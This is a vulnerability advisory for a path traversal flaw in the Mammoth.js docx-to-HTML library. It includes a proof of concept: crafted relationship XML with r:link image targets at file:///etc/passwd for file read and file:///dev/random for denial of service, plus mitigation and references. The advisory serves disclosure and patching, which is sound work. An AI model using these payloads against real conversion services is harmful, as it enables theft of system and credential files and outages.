Vulnerability Type: Path Traversal leading to Arbitrary File Read and Denial of Service (DoS)
Affected Product: Mammoth.js
Affected Versions: 0.3.25–1.10.0
Attack Vector: Remote
Attack Complexity: Low
Privileges Required: None
User Interaction: Required (processing a malicious docx file)
Scope: Changed (from docx processing context to host system files)
Confidentiality Impact: High
Integrity Impact: None
Availability Impact: High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:H
CVSS 3.1 Score: 9.3 (Critical)
A path traversal vulnerability exists in Mammoth, a library used to convert Word documents (.docx files) to HTML. When processing a docx file containing an image with an external link (r:link attribute instead of embedded r:embed), the library fails to properly validate the file path. This allows an attacker to read arbitrary files on the system where the conversion is performed.
The vulnerability occurs because the library resolves the URI to a file path and reads the file without proper path or file type validation. After reading, the content is then encoded as base64 and included in the HTML output as a data URI, effectively leaking the content of sensitive files.
Additionally, by crafting a docx file that links to special device files such as /dev/random or /dev/zero, an attacker can cause the library to attempt reading from an infinite stream. This consumes excessive resources (CPU, memory) and can cause the process performing the conversion to hang indefinitely or crash, resulting in a Denial of Service (DoS).
Arbitrary file read:
-
Create a standard docx structure.
-
Modify the relationship file (word/_rels/document.xml.rels) with a link to a sensitive file:
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="file:///etc/passwd"/> -
Reference this relationship in the document using an a:blip with an r:link attribute:
<w:p>\<w:r\> \<w:drawing\> \<wp:inline\> \<wp:docPr id="1" name="Image" descr="Image description"/\> \<a:graphic\> \<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"\> \<pic:pic\> \<pic:blipFill\> \<a:blip r:link="rId1"/\> \</pic:blipFill\> \</pic:pic\> \</a:graphicData\> \</a:graphic\> \</wp:inline\> \</w:drawing\> \</w:r\> \</w:p\> -
Convert the file mammoth document.docx output.html
When processed, the content of /etc/passwd will be included in the output.html HTML file.
Denial of service:
-
Follow the same steps, but include a relationship file (word/_rels/document.xml.rels) with a link to an infinite file stream instead:
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="file:///dev/random"/>When processed, Mammoth will attempt to read /dev/random indefinitely, consuming resources and potentially crashing the process.
This vulnerability allows attackers to:
- Read any file accessible to the process running the mammoth library (e.g., /etc/passwd, /proc/self/environ, configuration files).
- Cause a Denial of Service by forcing the application to read from infinite file streams (e.g., /dev/random), leading to resource exhaustion or process hang/crash.
The vulnerability is particularly concerning in web applications that allow users to upload docx files for conversion, as it could lead to server-side information disclosure and denial of service.
Upgrade to [email protected], as it fixes the issue by disabling external file access by default.
Audun Wigum Arbo
- Fixing commit: https://github.com/mwilliamson/mammoth.js/commit/c54aaeb43a7941317c1f3c119ffa92090f988820
- Project repository: https://github.com/mwilliamson/mammoth.js
- NPM package: https://www.npmjs.com/package/mammoth
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-73: External Control of File Name or Path
- CWE-770: Allocation of Resources Without Limits or Throttling
- CWE-400: Uncontrolled Resource Consumption